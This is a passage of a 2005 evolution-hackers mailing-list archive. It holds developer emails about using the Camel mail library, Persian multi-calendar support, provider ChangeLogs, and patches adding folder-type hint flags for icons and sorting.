NaAzhjFodHRwOi8vY3JsLm9jZXMuY2VydGlmaWthdC5kay9vY2VzLzEwNjk5Mjk3OTguY3JsMB8G A1UdIwQYMBaAFGC1hexWZH4SGSdnHVAVS3OuO/kSMB0GA1UdDgQWBBTDj17nkL8F+u9tWY9iC2aV rrLXxTAJBgNVHRMEAjAAMBkGCSqGSIb2fQdBAAQMMAobBFY3LjADAgOoMA0GCSqGSIb3DQEBBQUA A4IBAQAPG8eNrxZ2V0eDrVjuSPk+3H/gg+Gd8kdgTX83uz6eR0HzmcIWC0CK3Ybs2NpCO1cjjdkW vjkiKXIUItUb3phWJuWfjbzp0pg5kjJ4PCRrzc/y9/vZTKMbEwD0vvjCuFENj1IHcjXdsZDlhne1 H5naQxLtCIs26dGA3Psf2g56YCvddxd/snaWXUgAPIRZ6jgIE75vOXDCISDl0e/mskzFSgWnexjo SoFRm/9HH3dmnI2an2v0IxBmGigrHSr1sHKTTbWCH/ghLSknRm1qeeXHYf+T3n4JVtPWgirzkdFF EGnBXF2zqbq3pWnFv6gdlpGs52iPtOoxv47d8tX+ESZfMYIB1TCCAdECAQEwOTAxMQswCQYDVQQG EwJESzEMMAoGA1UEChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQQIEP8XVRjAJBgUrDgMCGgUA oIHzMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTA1MDIyODExNTcw MVowIwYJKoZIhvcNAQkEMRYEFANIUEyTm8D/VhGBs37gpLRKZ3SbMEgGCSsGAQQBgjcQBDE7MDkw MTELMAkGA1UEBhMCREsxDDAKBgNVBAoTA1REQzEUMBIGA1UEAxMLVERDIE9DRVMgQ0ECBD/F1UYw SgYLKoZIhvcNAQkQAgsxO6A5MDExCzAJBgNVBAYTAkRLMQwwCgYDVQQKEwNUREMxFDASBgNVBAMT C1REQyBPQ0VTIENBAgQ/xdVGMA0GCSqGSIb3DQEBAQUABIGADumArsE7Rr3Fv6s1vNo3rQpN++Ld 5+1TEZ5F7BD7h8dmqThB2RoMvfV5w4F/h1xGAGpVt19tjzDdad1URkTuSXOLj9kdrjrl9LUbgHbe cTSfd21StAXUKQM8zu940aewotWSqgvL1yuQu14l6yFHpYV5TKNYguIHv2PyB5X6bPUAAAAAAAA= --=-saN20RYOgRtBTRJJgUUD-- From fejj@novell.com Mon Feb 28 10:53:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8BB8D124195; Mon, 28 Feb 2005 10:53:29 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id C0EC41240A9 for ; Mon, 28 Feb 2005 10:53:17 -0500 (EST) Received: (qmail 6211 invoked from network); 28 Feb 2005 15:53:16 -0000 Received: from localhost (HELO ?10.200.0.103?) (fejj@127.0.0.1) by localhost with SMTP; 28 Feb 2005 15:53:16 -0000 Subject: Re: [Evolution-hackers] Problems with camel From: Jeffrey Stedfast To: =?ISO-8859-1?Q?S=F8ren?= Hansen Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1109591821.4468.19.camel@localhost.localdomain> References: <1109591821.4468.19.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1 Date: Mon, 28 Feb 2005 10:49:52 -0500 Message-Id: <1109605792.17964.0.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-25.5 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: you need to subclass CamelSession, it's just an abstract class. Jeff On Mon, 2005-02-28 at 12:57 +0100, Søren Hansen wrote: > Hi! > > I'm having a bit of a problem using camel. I'm trying to simply make a > small app that can open a camel url and read a message from a message > store, but I can't even figure out how to make a connection without it > segfaulting on me.. > > I've attaced the code and a makefile. > > Any help? > > From ak-47@gmx.net Mon Feb 28 15:14:15 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 904CA1248F5; Mon, 28 Feb 2005 15:14:14 -0500 (EST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 7D8F1124964 for ; Mon, 28 Feb 2005 15:13:50 -0500 (EST) Received: (qmail invoked by alias); 28 Feb 2005 20:13:47 -0000 Received: from unknown (EHLO h2101.dialup.callax-network.net) (81.209.204.33) by mail.gmx.net (mp024) with SMTP; 28 Feb 2005 21:13:47 +0100 X-Authenticated: #726810 Subject: Re: [Evolution-hackers] multi-calendaring and multi-sorting From: Andre Klapper To: evolution-hackers@lists.ximian.com Cc: Ali Shameli In-Reply-To: <20050224142518.59691.qmail@web14306.mail.yahoo.com> References: <20050224142518.59691.qmail@web14306.mail.yahoo.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ZaEvUArvkI5FQEOuy+xy" Date: Mon, 28 Feb 2005 21:13:40 +0100 Message-Id: <1109621620.4900.43.camel@embrace.local> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-24.4 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,FROM_ENDS_IN_NUMS,IN_REP_TO, PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-ZaEvUArvkI5FQEOuy+xy Content-Type: text/plain Content-Transfer-Encoding: quoted-printable hi ali, On Thu, 2005-02-24 at 06:25 -0800, Ali Shameli wrote: > Persian localization in evolution. >=20 > We have been working on Evolution code for months. > Our goal is to add multi calendaring and multi > language sorting support to Evolution. i don't know what exactly you mean by multi sorting, could you please explain that more explicitly? > We wrote a lightweight library to use multi > calendaring in systems like Evolution. > First patch for adding multi calendaring support will > be sent in near feature. please send it to this list so it can be discussed/some hackers can comment on it, that would help you to not code into the wrong direction. :-) > There were two suitable solution to add multi language > sorting: >=20 > * hacking the evolution code, like addressbook module > in order to display characters ( Non-latin) > in correct order. >=20 > * using a multi language sort library (which allows > us to switch between different languages) for your interest, there have already been a few people (perhaps you also could contact them to get some information on their impressions) that have asked this question, please look into the archives: http://lists.ximian.com/archives/public/evolution-hackers/2004-May/003800.h= tml http://lists.ximian.com/archives/public/evolution-hackers/2004-May/003876.h= tml http://lists.ximian.com/archives/public/evolution-hackers/2004-July/004053.= html http://lists.ximian.com/archives/public/evolution-hackers/2004-August/00417= 6.html in the last link rodrigo says that the code needs to get integrated into libical, evolution's support library for dealing with calendar objects and their dates, and that there are plans to do a replacement for libical - so what's the status on this, ximian guys? good luck (i'd also be happy to see more date systems than the julian/gregorian calendar supported better in evolution), andre --=20 mailto:ak-47@gmx.net | failed! http://www.iomc.de --=-ZaEvUArvkI5FQEOuy+xy Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCI3t0UZw3dUr5LoARApUYAJ9Nkjan6sKFIbjLO5D9wznH/JX+bACeM2+T gn/Go3SVCXPxA+/VvpbDCdk= =jEcL -----END PGP SIGNATURE----- --=-ZaEvUArvkI5FQEOuy+xy-- From notzed@ximian.com Mon Jan 31 19:43:00 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4A46412519C; Mon, 31 Jan 2005 19:43:00 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id B0E791248A9 for ; Mon, 31 Jan 2005 19:42:48 -0500 (EST) Received: (qmail 18531 invoked from network); 1 Feb 2005 00:42:46 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 00:42:46 -0000 From: Not Zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-CBAS87CD8ACT122ulXh2" Date: Tue, 01 Feb 2005 08:37:59 +0800 Message-Id: <1107218279.14609.8.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: Yes, hits=8.6 required=5.0 tests=HTML_20_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] camel provider changelogs Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-CBAS87CD8ACT122ulXh2 Content-Type: text/plain Content-Transfer-Encoding: 7bit Please note the camel providers now have their own ChangeLog's. So use them, not the main camel ChangeLog. e.g. 2005-01-31 Parthasarathi Susarla * providers/groupwise/camel-groupwise-folder.c shouldn't be done anymore. If you're using emacs to generate the changelog entries - and you should be - it will automatically find the correct one. --=-CBAS87CD8ACT122ulXh2 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit

Please note the camel providers now have their own ChangeLog's.  So use them, not the main camel ChangeLog.

e.g.
2005-01-31  Parthasarathi Susarla <sparthasarathi@novell.com>

* providers/groupwise/camel-groupwise-folder.c

shouldn't be done anymore.

If you're using emacs to generate the changelog entries - and you should be - it will automatically find the correct one.

--=-CBAS87CD8ACT122ulXh2-- From notzed@ximian.com Tue Feb 1 02:47:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 1ED081249C5; Tue, 1 Feb 2005 02:47:24 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7BD3A124BB8 for ; Tue, 1 Feb 2005 02:47:12 -0500 (EST) Received: (qmail 18771 invoked from network); 1 Feb 2005 07:47:10 -0000 Received: from localhost (HELO ?192.168.0.106?) (notzed@127.0.0.1) by localhost with SMTP; 1 Feb 2005 07:47:10 -0000 From: not zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/mixed; boundary="=-4t98At4iJZwK/v5fPuZs" Date: Tue, 01 Feb 2005 15:48:00 +0800 Message-Id: <1107244080.12004.5.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-0.9 required=5.0 tests=BAYES_30,PATCH_UNIFIED_DIFF,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] camel folderinfo type changes Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-4t98At4iJZwK/v5fPuZs Content-Type: text/plain Content-Transfer-Encoding: 7bit FYI I've added a 3-bit bitfield to the CamelFolderInfo.flags field, so that providers can specify certain types of folders. This is used primarily to give the folder the right icon, and also for some sorting priorities. This removes the hard-coded hacks of comparing translated folder names - so in some cases the icons may revert. "bummer", they were iconised wrong to start with if they do. It is up to the providers to specify these values, the mailer hard-codes it for the "local folders", since only it applies any meaning to the various folders. I fixed maildir and imap providers, imap4 will need its own fixing, as will groupwise/exchange. Patches attached to outline the changes for those interested/needing to know. PS means you need to update eds and evo to rebuild too --=-4t98At4iJZwK/v5fPuZs Content-Disposition: attachment; filename=folder-hint-eds.diff Content-Type: text/x-patch; name=folder-hint-eds.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit ? camel/c.diff ? camel/camel-mime-tables.c ? camel/gpg ? camel/trace ? camel/providers/m.diff ? camel/tests/folder/test11 ? camel/tests/message/test4 ? camel/tests/mime-filter/test1 Index: camel/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/ChangeLog,v retrieving revision 1.2421 diff -u -p -r1.2421 ChangeLog --- camel/ChangeLog 1 Feb 2005 05:57:15 -0000 1.2421 +++ camel/ChangeLog 1 Feb 2005 07:39:50 -0000 @@ -1,5 +1,11 @@ 2005-02-01 Not Zed + * camel-store.c (camel_store_get_folder_info): set the folder type + hint. + + * camel-store.h: add a bitfield for a folder-type hint. used to + indicate inbox/trash/etc (mainly for gui icons). + ** See bug #38791 and bug #36142. * camel-gpg-context.c (gpg_ctx_op_step): use poll rather than Index: camel/camel-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/camel-store.c,v retrieving revision 1.158 diff -u -p -r1.158 camel-store.c --- camel/camel-store.c 1 Feb 2005 00:47:43 -0000 1.158 +++ camel/camel-store.c 1 Feb 2005 07:39:51 -0000 @@ -663,7 +663,7 @@ get_folder_info (CamelStore *store, cons } static void -add_special_info (CamelStore *store, CamelFolderInfo *info, const char *name, const char *translated, gboolean unread_count) +add_special_info (CamelStore *store, CamelFolderInfo *info, const char *name, const char *translated, gboolean unread_count, guint32 flags) { CamelFolderInfo *fi, *vinfo, *parent; char *uri, *path; @@ -711,7 +711,7 @@ add_special_info (CamelStore *store, Cam } /* Fill in the new fields */ - vinfo->flags |= CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH; + vinfo->flags |= flags; vinfo->full_name = g_strdup (name); vinfo->name = g_strdup (translated); vinfo->uri = uri; @@ -775,9 +775,9 @@ camel_store_get_folder_info(CamelStore * if (info && (top == NULL || *top == '\0') && (flags & CAMEL_STORE_FOLDER_INFO_NO_VIRTUAL) == 0) { if (info->uri && (store->flags & CAMEL_STORE_VTRASH)) - add_special_info (store, info, CAMEL_VTRASH_NAME, _("Trash"), FALSE); + add_special_info (store, info, CAMEL_VTRASH_NAME, _("Trash"), FALSE, CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH|CAMEL_FOLDER_TYPE_TRASH); if (info->uri && (store->flags & CAMEL_STORE_VJUNK)) - add_special_info (store, info, CAMEL_VJUNK_NAME, _("Junk"), TRUE); + add_special_info (store, info, CAMEL_VJUNK_NAME, _("Junk"), TRUE, CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH|CAMEL_FOLDER_TYPE_JUNK); } if (camel_debug_start("store:folder_info")) { Index: camel/camel-store.h =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/camel-store.h,v retrieving revision 1.71 diff -u -p -r1.71 camel-store.h --- camel/camel-store.h 11 Jan 2005 06:12:45 -0000 1.71 +++ camel/camel-store.h 1 Feb 2005 07:39:51 -0000 @@ -74,8 +74,26 @@ typedef struct _CamelFolderInfo { #define CAMEL_FOLDER_SYSTEM (1<<6) /* a virtual folder that can't be copied to, and can only be moved to if in an existing folder */ #define CAMEL_FOLDER_VTRASH (1<<7) +/* a shared folder i'm accessing */ #define CAMEL_FOLDER_SHARED_TO_ME (1<<8) +/* a folder that i'm sharing */ #define CAMEL_FOLDER_SHARED_BY_ME (1<<9) + +/* use 3 bits as a hint for a folder type */ +#define CAMEL_FOLDER_TYPE_MASK (7 << 10) +#define CAMEL_FOLDER_TYPE_BIT (10) +/* a normal folder */ +#define CAMEL_FOLDER_TYPE_NORMAL (0 << 10) +/* an inbox folder */ +#define CAMEL_FOLDER_TYPE_INBOX (1 << 10) +/* an outbox folder */ +#define CAMEL_FOLDER_TYPE_OUTBOX (2 << 10) +/* a rubbish folder */ +#define CAMEL_FOLDER_TYPE_TRASH (3 << 10) +/* a spam folder */ +#define CAMEL_FOLDER_TYPE_JUNK (4 << 10) + +/* next bit is 1<<13 */ /* Structure of rename event's event_data */ typedef struct _CamelRenameInfo { Index: camel/providers/imap/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/imap/ChangeLog,v retrieving revision 1.3 diff -u -p -r1.3 ChangeLog --- camel/providers/imap/ChangeLog 31 Jan 2005 03:48:16 -0000 1.3 +++ camel/providers/imap/ChangeLog 1 Feb 2005 07:39:51 -0000 @@ -1,3 +1,9 @@ +2005-02-01 Not Zed + + * camel-imap-store.c (parse_list_response_as_folder_info): set the + folder-type of inbox to inbox & use the right flags field for + noinferiors hack. + 2005-01-31 Not Zed ** See bug #69757. Index: camel/providers/imap/camel-imap-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/imap/camel-imap-store.c,v retrieving revision 1.312 diff -u -p -r1.312 camel-imap-store.c --- camel/providers/imap/camel-imap-store.c 31 Jan 2005 03:48:16 -0000 1.312 +++ camel/providers/imap/camel-imap-store.c 1 Feb 2005 07:39:52 -0000 @@ -2401,12 +2401,12 @@ parse_list_response_as_folder_info (Came fi->name = g_strdup(camel_store_info_name(imap_store->summary, si)); fi->full_name = g_strdup(camel_store_info_path(imap_store->summary, si)); if (!g_ascii_strcasecmp(fi->full_name, "inbox")) - flags |= CAMEL_FOLDER_SYSTEM; + flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_TYPE_INBOX; /* HACK: some servers report noinferiors for all folders (uw-imapd) We just translate this into nochildren, and let the imap layer enforce it. See create folder */ if (flags & CAMEL_FOLDER_NOINFERIORS) - flags = (fi->flags & ~CAMEL_FOLDER_NOINFERIORS) | CAMEL_FOLDER_NOCHILDREN; + flags = (flags & ~CAMEL_FOLDER_NOINFERIORS) | CAMEL_FOLDER_NOCHILDREN; fi->flags = flags; url = camel_url_new (imap_store->base_url, NULL); Index: camel/providers/local/ChangeLog =================================================================== RCS file: camel/providers/local/ChangeLog diff -N camel/providers/local/ChangeLog --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ camel/providers/local/ChangeLog 1 Feb 2005 07:39:52 -0000 @@ -0,0 +1,8 @@ + +2005-02-01 Not Zed + + * camel-maildir-store.c (get_folder_info): set the + folder type of inbox properly. + + * started new chnagelog. + Index: camel/providers/local/camel-maildir-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/local/camel-maildir-store.c,v retrieving revision 1.42 diff -u -p -r1.42 camel-maildir-store.c --- camel/providers/local/camel-maildir-store.c 17 Jan 2005 09:01:54 -0000 1.42 +++ camel/providers/local/camel-maildir-store.c 1 Feb 2005 07:39:52 -0000 @@ -519,10 +519,10 @@ get_folder_info (CamelStore *store, cons scan = scan->next; } fi->flags &= ~CAMEL_FOLDER_CHILDREN; - fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS; + fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS|CAMEL_FOLDER_TYPE_INBOX; } else if (!strcmp(top, ".")) { fi = scan_fi(store, flags, url, ".", _("Inbox")); - fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS; + fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS|CAMEL_FOLDER_TYPE_INBOX; } else { const char *name = strrchr(top, '/'); --=-4t98At4iJZwK/v5fPuZs Content-Disposition: attachment; filename=folder-hint-evo.diff Content-Type: text/x-patch; name=folder-hint-evo.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit Index: mail/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution/mail/ChangeLog,v retrieving revision 1.3561 diff -u -p -r1.3561 ChangeLog --- mail/ChangeLog 1 Feb 2005 00:33:53 -0000 1.3561 +++ mail/ChangeLog 1 Feb 2005 07:37:22 -0000 @@ -1,5 +1,20 @@ 2005-02-01 Not Zed + * em-folder-tree-model.c (sort_cb): use the type hint to sort for + inbox, not the name. + (emft_is_special_local_folder): removed. + (em_folder_tree_model_set_folder_info): special-case the + local-store case, handle translated names and the name hints. + + * em-folder-tree.c (render_pixbuf): use the camel folderinfo + folder type to determine the icon, don't hardcode based on name. + + ** See bug #71310 + + * em-composer-prefs.c (sig_add_script_response): force a save of + the signatures as soon as they change. Also save the script name + if we were just editing it, not just the signature name. + ** See bug #71312. * em-folder-view.c (em_folder_view_open_selected): if we're Index: mail/em-composer-prefs.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-composer-prefs.c,v retrieving revision 1.24 diff -u -p -r1.24 em-composer-prefs.c --- mail/em-composer-prefs.c 24 Jan 2005 21:11:07 -0000 1.24 +++ mail/em-composer-prefs.c 1 Feb 2005 07:37:23 -0000 @@ -390,6 +390,8 @@ sig_add_script_response (GtkWidget *widg /* we're just editing an existing signature script */ g_free (sig->name); sig->name = g_strdup (name); + g_free(sig->filename); + sig->filename = g_strdup(script); e_signature_list_change (mail_config_get_signatures (), sig); } else { sig = mail_config_signature_new (script, TRUE, TRUE); @@ -399,6 +401,8 @@ sig_add_script_response (GtkWidget *widg g_object_unref (sig); } + mail_config_save_signatures(); + gtk_widget_hide (prefs->sig_script_dialog); g_strfreev (argv); g_free (script); Index: mail/em-folder-tree-model.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-folder-tree-model.c,v retrieving revision 1.64 diff -u -p -r1.64 em-folder-tree-model.c --- mail/em-folder-tree-model.c 24 Sep 2004 04:23:29 -0000 1.64 +++ mail/em-folder-tree-model.c 1 Feb 2005 07:37:23 -0000 @@ -184,12 +184,13 @@ sort_cb (GtkTreeModel *model, GtkTreeIte char *aname, *bname; CamelStore *store; gboolean is_store; + guint32 aflags, bflags; int rv = -2; gtk_tree_model_get (model, a, COL_BOOL_IS_STORE, &is_store, COL_POINTER_CAMEL_STORE, &store, - COL_STRING_DISPLAY_NAME, &aname, -1); - gtk_tree_model_get (model, b, COL_STRING_DISPLAY_NAME, &bname, -1); + COL_STRING_DISPLAY_NAME, &aname, COL_UINT_FLAGS, &aflags, -1); + gtk_tree_model_get (model, b, COL_STRING_DISPLAY_NAME, &bname, COL_UINT_FLAGS, &bflags, -1); if (is_store) { /* On This Computer is always first and VFolders is always last */ @@ -209,9 +210,9 @@ sort_cb (GtkTreeModel *model, GtkTreeIte rv = -1; } else { /* Inbox is always first */ - if (aname && (!strcmp (aname, "INBOX") || !strcmp (aname, _("Inbox")))) + if ((aflags & CAMEL_FOLDER_TYPE_MASK) == CAMEL_FOLDER_TYPE_INBOX) rv = -1; - else if (bname && (!strcmp (bname, "INBOX") || !strcmp (bname, _("Inbox")))) + else if ((bflags & CAMEL_FOLDER_TYPE_MASK) == CAMEL_FOLDER_TYPE_INBOX) rv = 1; } @@ -414,16 +415,6 @@ account_removed (EAccountList *accounts, em_folder_tree_model_remove_store (model, si->store); } -/* NB: more-or-less copied from em-folder-tree.c */ -static gboolean -emft_is_special_local_folder(CamelStore *store, const char *name) -{ - /* Bit of a hack to translate local mailbox names */ - return store == mail_component_peek_local_store(NULL) - && (!strcmp (name, "Drafts") || !strcmp (name, "Inbox") - || !strcmp (name, "Outbox") || !strcmp (name, "Sent")); -} - void em_folder_tree_model_set_folder_info (EMFolderTreeModel *model, GtkTreeIter *iter, struct _EMFolderTreeModelStoreInfo *si, @@ -437,6 +428,7 @@ em_folder_tree_model_set_folder_info (EM struct _CamelFolder *folder; gboolean emitted = FALSE; const char *name; + guint32 flags; if (!fully_loaded) load = fi->child == NULL && !(fi->flags & (CAMEL_FOLDER_NOCHILDREN | CAMEL_FOLDER_NOINFERIORS)); @@ -468,10 +460,22 @@ em_folder_tree_model_set_folder_info (EM camel_object_unref(folder); } - if (emft_is_special_local_folder(si->store, fi->full_name)) - name = _(fi->name); - else - name = fi->name; + /* TODO: maybe this should be handled by mail_get_folderinfo (except em-folder-tree doesn't use it, duh) */ + flags = fi->flags; + name = fi->name; + if (si->store == mail_component_peek_local_store(NULL)) { + if (!strcmp(fi->full_name, "Drafts")) { + name = _("Drafts"); + } else if (!strcmp(fi->full_name, "Inbox")) { + flags = (flags & ~CAMEL_FOLDER_TYPE_MASK) | CAMEL_FOLDER_TYPE_INBOX; + name = _("Inbox"); + } else if (!strcmp(fi->full_name, "Outbox")) { + flags = (flags & ~CAMEL_FOLDER_TYPE_MASK) | CAMEL_FOLDER_TYPE_OUTBOX; + name = _("Outbox"); + } else if (!strcmp(fi->full_name, "Sent")) { + name = _("Sent"); + } + } gtk_tree_store_set ((GtkTreeStore *) model, iter, COL_STRING_DISPLAY_NAME, name, @@ -479,7 +483,7 @@ em_folder_tree_model_set_folder_info (EM COL_STRING_FULL_NAME, fi->full_name, COL_STRING_URI, fi->uri, COL_UINT_UNREAD, unread, - COL_UINT_FLAGS, fi->flags, + COL_UINT_FLAGS, flags, COL_BOOL_IS_STORE, FALSE, COL_BOOL_LOAD_SUBDIRS, load, -1); Index: mail/em-folder-tree.c =================================================================== RCS file: /cvs/gnome/evolution/mail/em-folder-tree.c,v retrieving revision 1.142 diff -u -p -r1.142 em-folder-tree.c --- mail/em-folder-tree.c 27 Jan 2005 07:05:56 -0000 1.142 +++ mail/em-folder-tree.c 1 Feb 2005 07:37:24 -0000 @@ -279,7 +279,6 @@ render_pixbuf (GtkTreeViewColumn *column GdkPixbuf *pixbuf = NULL; gboolean is_store; guint32 flags; - char *full_name; if (!initialised) { folder_icons[FOLDER_ICON_NORMAL] = e_icon_factory_get_icon ("stock_folder", E_ICON_SIZE_MENU); @@ -292,27 +291,33 @@ render_pixbuf (GtkTreeViewColumn *column initialised = TRUE; } - gtk_tree_model_get (model, iter, COL_STRING_FULL_NAME, &full_name, - COL_BOOL_IS_STORE, &is_store, COL_UINT_FLAGS, &flags, -1); - if (!is_store && full_name != NULL) { - if (!g_ascii_strcasecmp (full_name, "Inbox")) + gtk_tree_model_get (model, iter, COL_BOOL_IS_STORE, &is_store, COL_UINT_FLAGS, &flags, -1); + + if (!is_store) { + switch((flags & CAMEL_FOLDER_TYPE_MASK)) { + case CAMEL_FOLDER_TYPE_INBOX: pixbuf = folder_icons[FOLDER_ICON_INBOX]; - else if (!g_ascii_strcasecmp (full_name, "Outbox")) + break; + case CAMEL_FOLDER_TYPE_OUTBOX: pixbuf = folder_icons[FOLDER_ICON_OUTBOX]; - else if (!strcmp (full_name, CAMEL_VTRASH_NAME)) + break; + case CAMEL_FOLDER_TYPE_TRASH: pixbuf = folder_icons[FOLDER_ICON_TRASH]; - else if (!strcmp (full_name, CAMEL_VJUNK_NAME)) + break; + case CAMEL_FOLDER_TYPE_JUNK: pixbuf = folder_icons[FOLDER_ICON_JUNK]; - else if (flags & CAMEL_FOLDER_SHARED_TO_ME) - pixbuf = folder_icons[FOLDER_ICON_SHARED_TO_ME]; - else if (flags & CAMEL_FOLDER_SHARED_BY_ME) - pixbuf = folder_icons[FOLDER_ICON_SHARED_BY_ME]; - else - pixbuf = folder_icons[FOLDER_ICON_NORMAL]; + break; + default: + if (flags & CAMEL_FOLDER_SHARED_TO_ME) + pixbuf = folder_icons[FOLDER_ICON_SHARED_TO_ME]; + else if (flags & CAMEL_FOLDER_SHARED_BY_ME) + pixbuf = folder_icons[FOLDER_ICON_SHARED_BY_ME]; + else + pixbuf = folder_icons[FOLDER_ICON_NORMAL]; + } } g_object_set (renderer, "pixbuf", pixbuf, "visible", !is_store, NULL); - g_free (full_name); } static void --=-4t98At4iJZwK/v5fPuZs-- From notzed@ximian.com Tue Feb 1 04:03:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id C620D124451; Tue, 1 Feb 2005 04:03:26 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 28499124468 for ; Tue, 1 Feb 2005 04:03:15 -0500 (EST) Received: (qmail 18808 invoked from network); 1 Feb 2005 09:03:13 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 09:03:13 -0000 From: Not Zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-FnKRwk4k+fNU9d6d2YKL" Date: Tue, 01 Feb 2005 16:58:17 +0800 Message-Id: <1107248297.4622.14.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: Yes, 